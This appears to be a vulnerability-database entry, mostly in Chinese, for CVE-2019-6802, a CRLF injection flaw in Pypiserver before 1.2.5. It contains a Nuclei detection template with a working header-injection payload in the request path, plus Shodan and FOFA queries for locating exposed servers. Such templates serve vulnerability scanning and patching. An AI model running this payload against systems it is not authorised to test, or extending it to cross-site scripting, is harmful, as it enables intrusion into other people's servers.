CVE-2019-6802: Pypiserver <1.2.5 - Carriage Return Line Feed Injection

日期: 2025-08-01 | 影响软件: Pypiserver | POC: 已公开

漏洞描述

Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.

PoC代码[已公开]

id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.01422
    epss-percentile: 0.80083
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 4b0a00483046022100ac57ea092895286547d5bd86e96b5c709b8041c98fb285131f2a4bcde86dc19c022100e069c901bebd2f18740a66991c1e2d4f64aa87532d692264e68a582f8ee21839:922c64590222798bb761d5b6d8e72950

相关漏洞推荐